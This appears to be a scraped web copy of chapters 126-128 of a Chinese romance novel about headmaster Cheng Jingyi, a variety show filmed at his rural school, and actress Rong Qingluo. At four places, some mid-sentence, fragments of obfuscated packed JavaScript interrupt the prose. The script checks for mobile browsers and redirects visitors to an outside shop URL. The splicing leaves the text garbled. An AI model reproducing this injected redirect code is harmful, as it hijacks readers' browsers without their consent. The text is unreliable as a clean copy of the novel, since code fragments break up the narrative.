邱锐不敢置信：“程校长愿意让我们节目组在正宁中学拍摄了？” 程景逸的态度竟然真的发生了一百八十度大转弯。 容清洛……又说对了！ 陈宫虽然心里早有准备，可如今亲眼看见现实再次印证了容清洛的判断，她心里还是五味杂陈。 程景逸不知道陈宫的内心在翻江倒海，他对邱锐说道：“我还需要先看一下新方案再决定。而且，我有一些小小的建议和想法，希望邱导能听一听，看看是否愿意采纳。” 对于程景逸愿意改变观点，邱锐感到十分的意外和欣喜，他笑道：“愿闻其详。” 程景逸：“再过一段时间学校就会进入暑假阶段。这个时期正宁的学生是不上课的。在这个时候录制综艺，就可以避免综艺影响教学进度的情况。所以《青衿与长衫》最好的拍摄时期就是七月和八月这两个月。” “如果邱导不仅能按照刚刚承诺的，慎重选择正能量优秀艺人来当支教老师，还能够允许正宁有嘉宾明星的否决权以及对最后成片不合适内容的删改权，且能在暑假完成拍摄，那么，正宁中学可以当贵综艺的取景地。” “另外，我建议支教以夏令营的形式开展，明星组成支教团，来正宁授课，课程不包括文化课，主要以带学生开阔眼界、增长综合技能为主。比如舞蹈、武术、声乐、美术、播音主持、普通话、演讲、书法等等。高一升高二的学生自愿报名。” 陈宫听后，在心里对节目组表达了一万分的同情。 她合理怀疑，程景逸是在用一种提出苛刻要求的方式变相地让邱导知难而退。 可她没想到，邱导竟然真的答应了。 陈宫：“……” 邱锐对于程景逸的观点十分认同，两人一拍即合，接着又各自抒发了对这档综艺的见解和灵感。 金乌西坠，玉兔东升，邱锐才和陈宫一起告辞。 两人临走之际，程景逸叫住陈宫：“陈总。” 陈宫回头，她此刻已经有了一些恍惚，问道：“程校长，还有什么事吗？” 程景逸停顿一下，似乎有些犹豫。 陈宫的面容露出疑惑：“嗯？” 邱锐突然揉着肚子说道：“喝了一下午的茶，灌了一肚子水，程校长，卫生间在哪里呀？我想去一趟。” 程景逸指着走廊尽头：“在最右侧。” 等邱锐离开，陈宫盯住程景逸：“现在，程校长可以说了吗？” 程景逸轻笑道：“陈总，你今天来是为了容清洛小姐的什么私事？” 陈宫这才想起今天下午的开场白，自己用这个理由让邱导和程景逸先谈综艺的事情，结果由于这场谈话后面的走向太过离奇，她竟然把这一茬给忘了个一干二净。 她笑得尴尬：“真是难为你还记得。” 程景逸倒是一身光明磊落，坦坦荡荡道：“容小姐为正宁付出很多，毕竟是我们正宁中学的恩人。恩人的事情，程某当然铭记于心，不敢忘记。” 陈宫只得答道：“程校长之前在视频里不是邀请清洛来参观正宁的校园改建成果嘛，清洛想感谢程校长为她仗义澄清，所以让我转告程校长：如果《青衿与长衫》最终在正宁中学录制，她就会作为嘉宾参与这档综艺。” “我下午这样说，是因为我需要先看看程校长是怎样选择的。” 程景逸讶异：“竟然是这样。” 继而他露出文雅的笑容：“那看来不久之后，程某可能终于有机会认识容小姐了。” 陈宫皮笑肉不笑地点头。 其实她在心里呐喊。 装！你俩再接着装！ 你真的不认识容清洛？ 那容清洛怎么把你摸得透透的？ 此时邱锐回来，陈宫和他准备离开。 可说来也巧，天空蓄积了半个下午的滚滚乌云，终于在这时爆发。 倾盆大雨顷刻即至。 好在程景逸办公室存放着好几把备用伞，陈宫和邱锐得以打着伞顺利离校。 *** 与此同时，正宁中学办公楼另一层的某间副校长办公室里，张世收拾好东西，夹着公文包准备下班，经过董华的办公室时，见他还没走，便问道：“老董，你回家吗？这雨这么大，我顺路带你一程。” 董华摊手：“我丈母娘前几天摔了一跤，我老婆这两天回娘家去照顾我丈母娘，小孩也跟着去了。家里就我一个，也懒得做饭，我在学校附近对付一顿，晚点儿再回去。” 张世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16585898|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大手一挥：“学校附近有什么好吃的，走，晚上到我家吃饭去。” 董华摆手道：“嫂子和静静在吧，我就不去打扰了。” 说着，他看见张世提着的公文包，便指着包挤眉弄眼道：“老哥，看这料子，低调奢华，得不少钱吧？” 张世笑骂道：“你还缺钱？想买你能买一屋，搁我这儿装穷呢。” 张世走进董华的办公室，一边拿着伞柄轻敲董华的办公桌，一边说道：“今天周五，静静一放学就和她妈妈往市里赶了，所以她们今天都不在。” 董华恍然：“瞧我这记性，忘记明天就是双休日了。” 他熟稔道：“静静去市里补课去了？从镇上到县里再到市里，这中间路途不短呐，每周嫂子和静静都这样奔波，也很辛苦啊。” 张世叹口气：“这也是没有办法的办法，眼瞅着静静要升高二了，高考离她还会远吗？她成绩不太好，我们这心里着急呀。” “不过你还别说，自从给静静在市里报了双休日的辅导班，虽然来回折腾，但她最近的成绩确实有提升。市里的老师讲得确实比咱们这儿要好。” 董华感慨：“那怎么当初不干脆让静静在市里读高中呢？你们也少操心，孩子也能受更好的教育。在我们这儿犄角旮旯读书确实委屈孩子了。 张世无奈道：“我们给她规划得好好的，偏偏她自己烂泥扶不上墙，没考上市里的高中，那能怎么办？既然这样，还不如就在正宁读高中，我还能照应照应她。不过咱们这里师资各方面确确实实比不上市里，只能让她休息日去补补习。” 董华收拾好东西，从座椅上站起来，拎着包准备往外走，建议道：“嫂子不在家，你那儿能有啥好吃的，还不如咱俩一起下馆子。” 张世拍拍董华：“静静她妈妈做了晚饭才带静静走的，这会饭还热着呢，咱们回去正吃。就算有点凉，微波炉里转两下就成，又不麻烦。” 他压低声音道：“我俩晚上整两斤小酒喝喝。哥心里一大堆苦水要跟你倒倒。我就不相信你没有要说的。外面吃饭隔墙有耳，喝得不尽兴。” 董华竖起一个ok的手势：“明白，反正明天周六，不上班，咱哥俩好好喝几口。” 两人并没有住在正宁中学的家属院，而是住在学校附近一处相对更加高档一点的小区里。 这也是青山镇为数不多建得很不错的住宅区。 但即便如此，这些楼房也没有电梯和地下停车库。 滂沱大雨倾盆而下。 董华和张世下车后，打着伞飞快地走进单元楼，可衣服还是已经多多少少被淋湿了一些。 待他们收拾一番，终于坐在桌前时，天色已经完全昏暗下来。 张世拿出一瓶白酒，两人就着饭菜你一杯我一杯地小酌起来。 渐渐地，两人醉意上头，话匣子也打开。 想起白天在校长办公室发生的那场不欢而散的谈话，回忆起程景逸的态度，张世的面上露出一抹不屑：“老董，我真是没想到，今天程景逸能搬出那么一长串大道理来。” “这不就是个搞钱共赢的事嘛。” “综艺需要自带热度的取景地，而学校需要改善校园环境的资金。” 张世两手一拍，奇怪道：“你说，这本来一拍即合的事情，程景逸怎么能有那么多条条框框的限制？” “噢，只允许他程景逸凭借娱乐圈女明星的捐款干实绩、名利双收，轮到我们想为学校干点儿什么了，他就推三阻四，扯虎皮，拉大旗？” 他的语气里充斥着不满。 “去年他得到镇上领导的表扬时，可不是这么说的啊。人家叫有担当、有魄力、有闯劲、有办法，到我们这儿，倒成了没信仰、没情怀？这什么事儿啊？” “他真觉得他自己是圣人不成？就他是个好老师，就他天天为学生着想，我们都是心有杂念的恶人？” 126. 一壶清酒 说完这些，张世心中的郁气稍微消散一二，接着便一口闷下杯中酒：“来，喝！” 董华给他满上，劝道：“哥，程校长深受领导赏识，自然有他的过人之处。而且他上任以来，刚好有大明星连年捐款，确实为正宁的重建做出了巨大贡献，这些都没办法否认。” “这都是他的能力。” 张世呸了一口：“这叫运气！” “人家就有贵人运，不管是韩老校长还是容清洛，就总有人把位置和资源送到他面前。” “我之前看过他档案，他也没什么背景……可怎么就有这么多人赏识他、帮助他呢？” 说到这里，张世的言语间又掺杂进一些说不清道不明的情绪。 也许是对程景逸好运的羡慕。 也许是对他自己没有这样机遇的不忿。 “人比人真是气死人……” 他又将一杯酒闷下。 董华摇头轻笑：“老哥，这就是你不会想了。” 张世：“怎么说？” 董华见瓶中已空，又新开一瓶白酒，一边给自己倒酒，一边道：“古话说，人要三十而立。程景逸今年三十整，这个时候按道理来说正是人成家立业的时候。可是你看程景逸，他还没结婚，连个对象也没有。而且他工作这么些年，到现在都还在租房子住。” 张世奇怪：“按道理，家属院早该给他分配房子了？你没给他分吗？” 董华没好气道：“我是那种公报私仇的人吗？起码这种明面上的话柄我不会白白落给别人吧。年年给他分配，年年他把名额让给别人。” 张世轻嗤一声：“道貌岸然。” 董华：“不管他是真心还是假意，不管他这么做是真的高尚还是只为求一个好风评，程景逸毕竟实实在在地把本该他得的房子让给了其他更需要的老师。” “尤其因为这几年咱们在引进人才，家属院房源紧张，这些新老师本来基本上都没办法分房子。但是程景逸都尽量帮忙给解决了。我手底下小刘前段时间和我说，就那个吴焕晗……” 张世：“谁？这名字好熟悉……是大明星捐款的那个经办人吧？” 董华：“对，是她，她现在也来我们学校当老师。她的房子就是程景逸把自己的名额让出来才有的。” “程景逸这种年轻人，只要面子不要里子，做这些工作挣些虚名，但自己又得到什么了呢？他到现在都还在自己租房子住。他也就是空有个校长名头，一旦离开学校这个地方，他就什么都不是。” 董华：“可老哥你不一样呀，你看看你住在哪里，这算是咱们镇最好的地段，小区环境比程景逸住的地方不知道好多少倍。你有车有房，有家有室，生活别提多惬意。” “你去和程景逸比什么、争什么呢，他和你根本没有可比性呀。” 张世目光微动：“是呀，一旦他离开学校、离开这个平台，他就什么也不是，什么也不是……” 喃喃几句，张世“啪”的一声倒在桌上，彻底醉了过去。 *** 另一边，陈宫既然已经完成容清洛交给她的此次来青山镇的任务，便没有在镇上过多停留，当晚就赶着最后一班长途汽车离开。 辗转几趟交通工具后，她坐在西华市的机场大厅里，和容清洛通电话。 快速将下午邱锐和程景逸的谈话内容复述一遍后，陈宫感慨道：“清洛，一切的发展不出你所料。” 容清洛的心里稍稍松下一口气。 同时还升起一股欣慰。 流光如电，多年过去，她已经面目全非，可他还是那个他。 陈宫问道：“不过清洛，我有一点疑问。” 容清洛：“嗯？” 陈宫皱眉：“为什么程校长前后转变会这么大？” 她十分不解：“其实我感觉他的变化有点突兀。明星当老师支教和明星当学生体验生活，二者确实不一样，但是差别也没有那么大吧，都是在录制综艺……” 容清洛浅笑道：“因为他的判断标准和你们不太一样。” “你们只看见他表面抉择的截然不同，却不理解他内里逻辑的始终如一。” “其实对于程景逸而言，在学校事务上做选择的原则是简单且唯一的。” “那就是永远要把学生的利益放在第一位。” “艺人扮做高中生体验学生生活的综艺节目，需要在学生正常的上学时间内录制。并且还需要学生们在学习之余配合明星进行活动，学生需要牺牲很多精力和时间，甚至可能会因此受到潜在的伤害。” “但是如果综艺节目的内容是让一些真正德艺双馨的艺人给学生在暑假做支教，这不会耽误学生正常的学习时间。而且因为身份的原因，作为老师的艺人需要根据学生的具体情况设计教学，学生可以学到平常在学校里学习不到的课程。” “这种真正能给学生带来好处的的支教活动，程景逸在经过权衡之后是不会不同意的。而且你不是说他在邱导面前为正宁争取了很多权益吗？包括艺人否决权和成片删改权，这都是他在为减少对学生的影响而做把关。无论是录制节目期间，还是节目播出之后的情况，他都已经考虑得十分全面了。” 陈宫：“原来如此。程景逸这个校长当得也还真挺不容易的，为了学生煞费苦心。” 她本来还想再说些什么，只是机场广播开始提醒旅客登机，陈宫只得抓紧时间叮嘱道：“清洛，《暗光》很快就能杀青，你做好准备吧。你应该很快就可以到正宁中学录制《青衿与长衫》。” “也就是说，你很快就可以见到你的程校长了。” *** 邱锐的效率很高，没过几天，就把新方案发给程景逸。 程景逸还算满意，节目组虽然重视节目效果，但是也确实在真的考虑学生的感受和诉求。 只是，在正式下决定之前，程景逸还是有一点点犹豫。 世上的事，总是存在着变化。 人的意愿，有时很难控制事物发展的过程和最终结局。 让学校在假期成为综艺录制的取景地，这对他来说毕竟是个新尝试，有很多未知。 人一辈子可以做许多尝试，只需要自己为自己负责即可。 但如果一个人的肩上担的不只有他自己一个人，那每个决定都需要慎之又慎。 于是，在某个周末清晨，程景逸登上开往市里的大巴车。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16585899|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > *** 西华市某居民区内，许多大爷正在广场上打太极。 其中有一人，其面容瞧着不过四十来岁，一头黑发在白发苍苍的人群中格外明显。 一套太极拳打完，他从人群里走出，准备遛着弯回家时，突然看见对面的花坛前站着一个熟悉的身影，他连忙疾步过去，惊喜道：“景逸！” 程景逸恭敬问好：“韩老师，我来看您了。” 他笑道：“您真是越活越年轻，精神头瞧着比我们都好。” 韩轲笑：“你来看我，我就高兴，心情一好，精神头自然好。” 他将立在面前的年轻男人端详一番，语重心长道：“景逸，你瘦了。平时你要加强运动，按时吃饭，按时睡觉。身体是革命的本钱，你得再吃得结实一些。工作要兢兢业业，但是对身体的照顾与维护也要跟上，这样才能可持续发展。” 程景逸保证道：“您放心，自从上次您提醒过我之后，我每天早上都会跑步锻炼，有时候也打打太极拳，练练八段锦什么的。我肯定认真落实您的叮嘱。” 韩轲点头：“这样就好。你是年轻人，身子骨还没我这种上了五十岁的人硬朗，这可不行。” 程景逸面露愧色：“让老师您操心了。” 韩轲摆手：“你我虽无师生之名，却有师徒之谊。你喊我一声老师，我自当关心你。别太有心理负担。你就是太板正了，一板一眼，反而让人有距离。” “还没吃早餐吧，走，跟我一起到家里吃。” 两人便朝韩轲家走去。 韩轲的夫人姓方，也是一名老师。 韩轲打开家门时，厨房里传来水流哗哗的声响，他对身后紧随自己进来的程景逸笑道：“你方老师在厨房做早餐呢。” 方梅听见响动，从厨房里出来。 韩轲笑着对妻子道：“梅梅，你看谁来了？” 方梅喜上眉梢：“景逸，好久没见着你人，老韩总说你工作忙。” “瞧瞧你，又瘦了，不过还是一如既往的清新俊逸、一表人才。” “快进来。”她招呼程景逸在沙发上坐下。 韩轲见状，拍拍妻子的肩膀：“景逸也还没吃早饭，咱们边吃边聊。” 方梅这才想起厨房里火还没关：“对了，我灶上还煮着面呢。” 片刻之后，方梅从厨房端出三大碗香喷喷的牛肉面。 程景逸看着自己碗中堆叠着的又大又多的牛肉块，心底涌起无限温暖，他拿起筷子，大口地吃起来。 韩轲和方梅相视一笑。 方梅起身，没过多久，从厨房里拿出一杯水放在程景逸面前，慈祥道：“锅里还有，你慢点吃，喝点水。” 程景逸罕见地露出孩子般的笑容，嘴咧得很开：“方老师做的牛肉面可是一绝，我可想念了，今天终于一饱口福，我可得多吃点儿。” 方梅不免感慨：“景逸你身边也得早点找个知冷暖的贴心人。” 程景逸抿唇笑笑，没有接话。 韩轲指着他道：“你个臭小子，不会还想着你之前说的那姑娘吧？” 见程景逸点头，韩轲叹道：“你找了那姑娘这么些年，可有一点音讯？” 127. 一壶清酒 程景逸面容露出一丝失落：“没有，一点下落也没有。” 韩轲谆谆告诫：“人与人之间的相遇，总还是需要些缘分。” “相伴时间的长短，也有定数。” “而人最大的智慧，莫过于放下心中的执念。” 程景逸颔首：“我记住了。” 韩轲叮咛道：“嗯，你现在这个年龄，可能还没办法真正做到，不过还是要好好体会其中深意。” 饭后，韩轲和程景逸两人来到书房。 韩轲为程景逸沏上一杯普洱，问道：“说吧，今天来找我，是遇到什么棘手的事了吗？” 程景逸简单把综艺《青衿与长衫》希望来正宁中学录制的前因后果概括一遍，然后道：“韩老师，现在就差最后一步，合同签下后，这个事就定下来。” “可是我却有一些犹豫。我也不知道这个决定是否正确。所以想找您给我指点几句。” 韩轲的脸上带着慈爱：“景逸，你还记得吗？那时候，你到正宁没两年，你第一次当班主任。有一回，你班上有几个学生打架，学校开会要处分他们……” 程景逸面露尴尬：“韩老师，都过去多少年了，我那时候年轻气盛，不懂事，您可千万别放在心上。” 韩轲摇头，嘴角带着欣慰的微笑：“你当时为了保住你的学生，在会议室里据理力争。在校领导坚持想要处分他们时，你当着所有人的面和我说要再给学生们一个机会。” “景逸，我一直都记得你当时指着我说话的样子。你告诉我们，学校的职责就是要教导学生，如果我们对学生不教而诛，就不配当老师。” “我当时觉得这个年轻人虽然脾气有些暴躁，一点就炸，但确实是个一心一意为学生着想的好老师，这很难得。所以我听取了你的意见，也没有给你这个敢指着校长骂的小年轻小鞋穿。” 程景逸诚恳道：“感谢您的包容。” 韩轲：“事后我问你，你为什么选择走上教师这条路，你当时是怎么回答的？” 程景逸回忆道：“我当时说：‘因为一个人。’” 一个这么多年，他一直在寻找的人。 可那个人却仿若人间蒸发，彻底从他的世界里消失。 “她的梦想就是当老师。” 韩轲：“那是以前。” “那现在呢？” “又过了这么些年，如今的你，又是因为什么，还留在教师这条道路上？” 程景逸轻笑：“因为我找到了当老师的意义。” “当老师对我而言，不再只是为了完成她的梦想，更成为了我生命的价值所在。” 韩轲：“说点实际的，别上这么多价值。” “人学生也不一定需要你。” 程景逸认真道：“也许很多人不需要，但是总有那么几个人恰好需要。” 他的眼里露出几分执拗。 “有些学生不需要，说明这个学生很幸运。” “可是幸运的人总是少数。” “一旦不幸的大多数中有一个学生需要时，这时候，老师必须得在，老师得成为学生最后的这颗救命稻草。” “一盏明灯存在的意义，不在于每时每刻都要照亮全部的黑暗，而在于，当黑暗里的人需要光明时，此人恰好可以被这盏灯照到。” “所以，灯盏不在大小，灯光不在强弱，关键在于，这盏灯必须一直亮着，必须一直都在。” “随时为了照亮某个学生前行的路。” “时刻准备着。” “我想，这就是一名教师存在的意义。” “也是我想做的事情。” 韩轲继续问道：“那你觉得，你说的这个综艺录制，是在完成你想做的这些事情吗？” 程景逸：“这是一个让山里孩子们被其他明灯的光亮照射到的机会。” 他坚定道：“只要有一盏灯能照亮他们，这次综艺就没白录。” 韩轲：“我想，你已经找到了答案。” *** 转眼暑假已至。 这天，容清洛和其助理汪汪正在酒店收拾行李，突然响起敲门声。 汪汪从铺满了一地的纸箱中直起身：“洛姐，可能是来叫你晚上去聚餐的。” 容清洛埋首在一堆书之间，闻言连头也没抬，一边目不转睛盯着面前摊开的笔记本，一边道：“你帮我婉拒了吧。” 《暗光》是部历史剧，当初为了更好地体味人物的情感，她买了各种历史相关的书籍，还做了许多和人物背景相关的笔记。 可真没少费功夫。 如今终于杀青，没想到将这些书籍装箱竟也要费不少功夫。 汪汪诧异：“姐，其实这些我帮你整理就好啦，你放心去玩嘛。” 容清洛摩挲着笔记本上自己的字迹，笑道：“《暗光》这个故事陪伴我度过大半年，今天突然杀青，我有点不适应。” 说到这里，她轻叹一口气，又道：“而且一时间还真有点舍不得。我自己整理书，也借此平静一下。” 汪汪只得答应，没想到一开门，竟然是宫姐。 陈宫手里捧着一束花，短发衬得她格外利落干练。 她冲汪汪打了个招呼，走进来，在一堆摞得很高的书后面找到容清洛，笑道：“祝我们未来的影后容清洛小姐杀青大吉。” 容清洛接过花：“谢谢宫姐。宫姐，你什么时候到的？” 汪汪从角落里翻出一个花瓶，在卫生间接了点水后，将这花小心翼翼地插进去。 陈宫在摆满东西的沙发上找到一个位置坐下：“才到没多久，我先去见了李导才过来的。李导在我面前还夸你呢。” 容清洛：“宫姐你辛苦了，还专门跑一趟。其实过几天我和汪汪就回宁川市了。” 陈宫从包里拿出一个文件袋：“刚好要在附近给你谈个项目。顺便接你回去。” 容清洛：“什么项目啊？” 陈宫将文件袋递过去：“邱导那个综艺《青衿与长衫》定下来了，就在正宁中学录制，再过几天就开始正式拍摄。你就是嘉宾之一。” 容清洛低头翻看合同：“嗯。” 陈宫不解：“你怎么一点反应也没有。” 容清洛很淡定：“意料之中的事。” 陈宫失笑。 她在平板上翻看容清洛的行程，考虑过后说道：“清洛，离录制还有一周多的时间。你这边《暗光》也才杀青，给你放一周假。” 容清洛：“行，那我就先不回宁川市了。也给汪汪放个假，这一周我就自由安排。” *** 炎夏永昼，南庐市机场，容清洛戴着口罩和墨镜，大大的遮阳帽盖在脑袋上，即便如此，也掩不住其冰肌玉骨、仪态万方。 她打了个的士，直奔市中心的一套公寓。 这个城市，是她长大的地方。 可在这里，她已经无亲无故，只剩下沧桑痛苦的回忆。 这套房子是她复仇成功以后，终于离开宁川市，回到了南庐市才买的。 自此，她才算是在这座城市里有了一个自己的落脚之地。 将行李放进家里，容清洛开出之前一直停在车库中的车，朝郊区驶去。 一个小时之后，轿车在一片山清水秀之地停下。 这是一片墓地。 进入墓园，容清洛走上层层石阶，穿过青绿松柏，最后驻足于半山腰的一块墓碑前。 容清洛将一捧雪白的菊花放在碑前，轻声道：“院长妈妈，我来看您了。” 静静伫立许久，离开这里之前，容清洛从包里取出一瓶白酒，转身对着远方的莽莽青山，将酒洒在地上。 容清洛一边倒酒一边道：“焕焕说你可能已经死在了哪个角落，可我总想着还能重新见到你。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586969|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“如果这次小号被爆出来真的是天意，真的会带来许多转机，那我希望，是应在你的身上。” “我马上就要到青山镇录综艺了，如果你没死，你会来吗？” “如果你死了，你能来我的梦里和我道个别吗？” 讲到这里，不知想起什么，容清洛恶狠狠道：“你难道就这样狠心吗？连程景逸都能和我有出人意料的重逢，为什么你就不知道来找我呢！你要是再不来，我就真和焕焕说得一样，去找程景逸了……” 这话只是气话，说到最后，容清洛的语气越来越轻，她终于忍不住痛哭了起来。 *** 程景逸如今已经同意综艺《青衿与长衫》在正宁中学录制，此时离正式拍摄还有一周左右的时间。 这个假期怕是都要为此忙碌，于是程景逸决定趁着节目还没有开始录制，到南庐市走一趟。 南庐市高铁站。 程景逸推着行李箱刚从出站口走出，便听见一声惊喜的呼喊。 “老程！” 他循声望过去，瞧见邵平风笑得眼睛都眯到一起的脸以及兴奋挥舞着的手臂。 程景逸来到邵平风面前：“老邵，不是说不用来接我吗，我自己可以过去。” 邵平风：“老程你不够意思啊，咱们多久没见面了，我这抽时间来给你接风，你还不乐意。” 能看出来邵平风眉宇间的疲惫，程景逸关怀道：“最近很忙吗？” 邵平风带着程景逸往停车场走：“有点。警局有个十几年前的旧案，一直没被侦破，最近又有了些新线索，成立了一个专案组，我最近的时间都搁在这上面耗着呢。” 两人坐上车，邵平风将手搭在方向盘上：“走，中午到我家吃饭，我媳妇儿手艺可好了。” *** 邵平风的妻子肖露是个摄影师。 几人在邵平风家里正吃着饭，肖露的电话铃声突然响起。 她接完电话，对程景逸露出歉意：“程哥，不好意思啊，有点工作上的事，我得先去处理。这招待不周，见谅啊。” 程景逸：“弟妹你客气了。你这手艺比有些专业的厨师还好吃，平风真是有口福。我也是沾了平风的光，才能尝一回弟妹的手艺。弟妹工作重要，你快去忙吧。” 肖露：“喜欢吃以后就常来家里坐坐。” “其实我这做饭的手艺也都是被逼出来的。我有一爱好，就是登山探险，当初和平风认识也是因为这个。”她看着邵平风一笑，又道，“在野外总有些得自己动手的时候，练得多了，也就熟能生巧。我跟以前登山探险队一西北大哥还学过怎么做烤全羊呢，改天给你们露一手。” 邵平风委屈道：“露露，我都还没吃过你做的烤全羊呢。” 肖露：“这不是没有机会嘛，你天天在警局里那么忙。” 这时，她的手机铃声又响起。 她只能道：“那我先去工作室了。” 邵平风拉住肖露：“这么着急，露露，要不我送你去？” 肖露安抚道：“问题不大，我能解决。程哥难得来一趟，你们两兄弟好好聚聚，我晚上就不回来吃饭了。” 邵平风：“亲一个。” 肖露作势要打邵平风：“不正经，程哥看着呢。” 邵平风：“老程才不会这么没眼力见，他去厨房盛饭去了。” 等肖露终于出门，被迫在厨房盛了好几碗白米饭的程景逸把饭都端到邵平风面前：“吃吧。” 邵平风为程景逸舀汤：“辛苦了，哥。” 程景逸好笑：“你跟弟妹大学一毕业就结婚，到现在得有七八年了，还这么腻歪？” 邵平风：“我们撒狗粮的不腻，你这吃狗粮的倒是觉着腻了。要我说，你就得赶紧给我找一个嫂子，成家立业，也免得程叔叔总问我，我还得帮你掩护。” 程景逸：“最近……有季希的消息吗？” 128. 喜相逢 邵平风：“说真的，老程，你找了她这么多年，一直都没找着人，你就没想过放弃吗？” “天大地大，何必在一棵歪脖子树上吊死？” 程景逸的眼神轻飘飘地落在邵平风身上。 半晌，邵平风举手投降：“得，季希不是歪脖子树，我是歪脖树行了吧？” 他拿出瓶白酒，给程景逸倒上：“陪你喝一杯，祝你早日找到你的白月光季希。” 程景逸仰头将酒一口闷下，手臂举高，露出腕间的红绳。 邵平风原本坐在程景逸对面，他瞧见红绳，摸到程景逸旁边：“老程，这娘们兮兮的玩意儿你还戴着呢？” 程景逸：“寻人无异于大海捞针，这东西清静观道长开过光，说不定有用呢。” 邵平风：“行吧，虽说它的作用只是心理作用，好歹还是能起点效。” “我倒真希望这红绳能给你带来一段缘分，总好过去心心念念地等待和寻找早就消失的无影无踪的故人。” 程景逸举起酒杯：“喝酒吧。” *** 七月上旬，综艺《青衿与长衫》正式在西华市古泉县青山镇的正宁中学开拍。 高三的学生在高考之后都已经将宿舍里的东西清走，此时空出很多间宿舍，节目组的工作人员就住在其中。 为了拍摄更多的素材，校园里新安装了许多摄像头。 节目主要录制的场地设定在高三教学楼顶层的一间教室，旁边的那间教室则供导演组使用。 秉承着自愿报名的原则，学校对报名学生的心理素质进行了综合考量，最终选出了四十名高一升高二的学生，组成了“韶光一班”。 周一早上七点四十。 教室里，棕色的木质课桌椅整齐划一，与平常的上课模样无异。 节目组的准备工作在前面一周里已经完成，只等今天八点半各方人员到齐后，便可以准时开始录制。 容清洛本来在放假，完全可以提前一两天到青山镇。但是为了还人情，她临时去其他节目救了个场，今天凌晨才赶到镇上。而且又需要早起做造型，所以她没有休息太长时间。 她到录制现场的时候，工作人员已经开始忙碌。 总导演邱锐正在和几个人说话，他看见容清洛，笑着招手道：“清洛。” 容清洛被邱导叫住，循着声音望去。 其实，此时的人群当中，忙忙碌碌的人很多，人影幢幢，纷乱喧嚣。 可是无形之中仿佛存在着一只上帝之手，在容清洛的眼前为她聚焦。 那一刻，这个空间中的所有人都变得模糊，只有程景逸的面容与身影格外清晰。 时光也仿佛在这一瞬定格。 容清洛能看见朝阳是如何穿过窗棂，为程景逸镀上一层柔光。 光影仿佛刻刀雕琢男人风流俊逸的脸庞，他的目光似寒潭的水，很清，却也很深。 隔着一定的距离，两个人目光交汇。 容清洛确信，她看见男人眼里的水漾起丝丝涟漪，那是点点笑意。 他很高兴？ 是因为见到她吗？ 容清洛一点点走近。 唇边挂着招牌微笑，眼神却只盯着那一个人。 金丝细边眼镜，灰绿色短袖衬衫，黑色西裤。 容清洛在圈内见惯貌美男星们华丽的贵公子穿搭，此时看见程景逸简单的穿着，竟然觉得他很清新可爱。 程景逸的身上带着书生的文气，却并不瘦弱。 他站在那里，身后便仿佛扬起雪山上冷冽的风，纯净又清透，儒雅且泰然。 容清洛细致观察着，感受着。 三年未见，程景逸的身姿依然挺拔而高大，瞧着就像是这西南地界里，巍峨苍山上的皑皑雪松。 可他的这分冷中却又带着暖。 仿佛高崖之上，有冽风伴着暖阳而生，雪山融化的冰水顺着山石流淌而下，潺潺经过这棵苍松，为他的文雅风度增添一丝神秘与几分厚度。 几步路却像走了许久，容清洛恍若又回到了高一的时候，回忆起曾经那段非常短暂却又像梦一般的快乐日子。 可现实中，这也不过是刹那之间的事情。 也不知，这一次的相遇，他们之间，是缘起还是缘灭。 容清洛想，许是新身份的缘起，旧关系的缘灭。 她噙着笑意，走近几人：“邱导。” 邱锐的脸上布满笑意：“清洛，来，我给你介绍一下，这些都是正宁中学的校领导，在综艺录制期间，有关学校和学生的事宜，你都可以找他们。” 他指着身边最近的年轻男人道：“这位是程校长，全权负责与我们节目组的接洽工作。” 男人颔首，伸出右手：“容小姐，又见面了。我是程景逸。” 容清洛轻轻握住程景逸的手。 微凉，有力。 和他这个人一样。 “程校长你好。”容清洛眨眨眼。 他说的是“又见面”。 难道他……认出她来了？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586970|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>容清洛压下心中疑惑，松开程景逸的手。 对于程景逸口中的“又见面了”，显然邱锐也感到十分讶异，问道：“清洛今天早上才到吧，你们之前见过吗？” 